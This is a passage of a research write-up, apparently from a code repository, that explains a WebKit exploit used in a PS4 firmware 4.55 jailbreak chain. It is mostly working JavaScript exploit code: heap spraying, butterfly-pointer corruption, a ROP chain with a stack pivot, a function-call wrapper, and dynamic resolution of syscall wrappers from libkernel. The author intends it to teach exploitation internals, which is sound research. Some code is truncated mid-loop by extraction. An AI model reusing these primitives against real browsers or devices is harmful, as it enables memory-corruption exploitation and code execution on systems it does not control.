objs[i] = new ImageData(1,0x90/4); 179 | } 180 | for (var i=0; i < 0x10000; i++) 181 | { 182 | objs[i] = new Uint32Array(objs[i].data.buffer); 183 | } 184 | ``` 185 | 186 | ## Memory Corruption 187 | Now we've sprayed the heap with a bunch of objects, but we haven't really corrupted memory yet. Our next task is to loop through all the objects we created, and set their butterfly values to `leakval + 0x1C`. This will allow us to smash the butterfly easily via the 'b' property of the target. Notice we're overwriting indexes 2 and 3 as each index is 32-bits wide, so index 2 is offset 0x8 (which is the lower 32-bits of the butterfly) and index 3 is offset `0xC` (which is the upper 32-bits of the butterfly). 188 | 189 | ```javascript 190 | for (var i=0; i back to the trap life 528 | chain.count = ocnt; 529 | 530 | p.write8(stackPointer, (gadgets["pop rsp"])); // pop rsp 531 | p.write8(stackPointer.add32(8), chain.stackBase); // -> rop frame 532 | }}}; 533 | ``` 534 | 535 | ## Function Calling 536 | Earlier we established a function called `fcall` in our ROP chain primitive to pop values into registers defined by the AMD64 ABI and push the function pointer on the stack to initiate a call. We will now create a wrapper that calls this function, but also additionally allows us to retrieve the return value. As defined in the ABI, returned values are always stored in the `rax` register, so by moving it into a memory address in our address space, we can easily retrieve it using our read primitive. 537 | 538 | ```javascript 539 | p.fcall = function(rip, rdi, rsi, rdx, rcx, r8, r9) { 540 | chain.clear(); 541 | 542 | chain.notimes = this.next_notime; 543 | this.next_notime = 1; 544 | 545 | chain.fcall(rip, rdi, rsi, rdx, rcx, r8, r9); 546 | 547 | chain.push(window.gadgets["pop rdi"]); // pop rdi 548 | chain.push(chain.stackBase.add32(0x3ff8)); // where 549 | chain.push(window.gadgets["mov [rdi], rax"]); // rdi = rax 550 | 551 | chain.push(window.gadgets["pop rax"]); // pop rax 552 | chain.push(p.leakval(0x41414242)); // where 553 | 554 | if (chain.run().low != 0x41414242) throw new Error("unexpected rop behaviour"); 555 | 556 | return p.read8(chain.stackBase.add32(0x3ff8)); 557 | } 558 | ``` 559 | 560 | ## System Calls 561 | As mentioned earlier, we cannot directly issue `syscall` instructions anymore in our ROP chains. We can however, call the wrappers provided to us to access them via the `libkernel_web.sprx` module. We can dynamically resolve syscall wrappers by reading the bytes to see if they match the structure of a syscall wrapper. This is far better compared to the past when we would have to reverse the libkernel module and add offsets manually for the system calls we needed, now we just need to keep a list of the syscall names if we want to call them by name. This list is kept in `syscalls.js`. 562 | 563 | ```javascript 564 | // Dynamically resolve syscall wrappers from libkernel 565 | var kview = new Uint8Array(0x1000); 566 | var kstr = p.leakval(kview).add32(0x10); 567 | var orig_kview_buf = p.read8(kstr); 568 | 569 | p.write8(kstr, window.moduleBaseLibKernel); 570 | p.write4(kstr.add32(8), 0x40000); 571 | 572 | var countbytes; 573 | for (var i=0; i < 0x40000; i++) 574 | { 575 | if (kview[i] == 0x72 && kview[i+1] == 0x64 && kview[i+2] == 0x6c && kview[i+3] == 0x6f && kview[i+4] == 0x63) 576 | { 577 | countbytes = i; 578 | break; 579 | } 580 | } 581 | p.write4(kstr.add32(8), countbytes + 32); 582 | 583 | var dview32 = new Uint32Array(1); 584 | var dview8 = new Uint8Array(dview32.buffer); 585 | for (var i=0; i < countbytes; i++) 586 | { 587 | if (kview[i] == 0x48 && kview[i+1] == 0xc7 && kview[i+2] == 0xc0 && kview[i+7] == 0x49 && kview[i+8] == 0x89 && kview[i+9] == 0xca && kview[i+10] == 0x0f && kview[i+11] == 0x05) 588 | { 589 | dview8[0] = kview[i+3]; 590 | dview8[1] = kview[i+4]; 591 | dview8[2] = kview[i+5]; 592 | dview8[3] = kview[i+6]; 593 | var syscallno = dview32[0]; 594 | window.syscalls[syscallno] = window.moduleBaseLibKernel.add32(i); 595 | } 596 | } 597 | ``` 598 | 599 | Our system call primitive wrapper will simply locate the offset for a given system call by the `window.syscalls` array and issue an `fcall` to it. 600 | 601 | ```javascript 602 | p.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9) { 603 | if (typeof sysc == "string") { 604 | sysc = window.syscallnames[sysc]; 605 | } 606 | 607 | if (typeof sysc != "number") { 608 | throw new Error("invalid syscall"); 609 | } 610 | 611 | var off = window.syscalls[sysc]; 612 | 613 | if (off == undefined) { 614 | throw new Error("invalid syscall"); 615 | } 616 | 617 | return p.fcall(off, rdi, rsi, rdx, rcx, r8, r9); 618 | } 619 | ``` 620 | 621 | # Conclusion 622 | For a seasoned webkit attacker, this bug is trivial to exploit. For non-seasoned ones such as myself however, working with WebKit to leverage a read/write primitive from WebCore heap corruption can be confusing and challenging. I hope through this write-up that it can help other researchers new to webkit to understand a bit of the magic that happens behind webkit exploitation, as without understanding fundamental data structures such as JSObjects and JSValues, it can be difficult to make sense of what's happening. This is why I focused the core of the write-up on going from heap corruption to obtaining a read/write primitive, and how type confusion with internal objects can be used to achieve it. 623 | 624 | In the next section (yet to be published), we will cover the kernel exploit portion of the 4.55 jailbreak chain. While this WebKit exploit will work on 5.02 and lower, the kernel exploit will only work on firmware 4.55 and lower. 625 | 626 | # Credits 627 | [qwertyoruiopz](https://twitter.com/qwertyoruiopz) 628 | 629 | Lokihardt 630 | 631 | # References 632 | [Chromium Bug #169685](https://bugs.chromium.org/p/project-zero/issues/detail?id=1187) reported by lokihardt@google.com 633 | 634 | [Attacking Javascript Engines](http://phrack.org/papers/attacking_javascript_engines.html) by sealo 635 | 636 | [Technical Analysis of the Pegasus Exploits on iOS](https://info.lookout.com/rs/051-ESQ-475/images/pegasus-exploits-technical-details.pdf) by Lookout 637 | --------------------------------------------------------------------------------